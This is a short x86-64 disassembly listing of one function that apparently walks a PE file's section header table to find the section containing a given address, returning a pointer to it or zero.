mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d1e3a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d1e31
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d1e31
mov rax, qword [rbp - 8]
jmp 0x2fc4d1e4f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d1e04
mov eax, 0
add rsp, 0x20
pop rbp
ret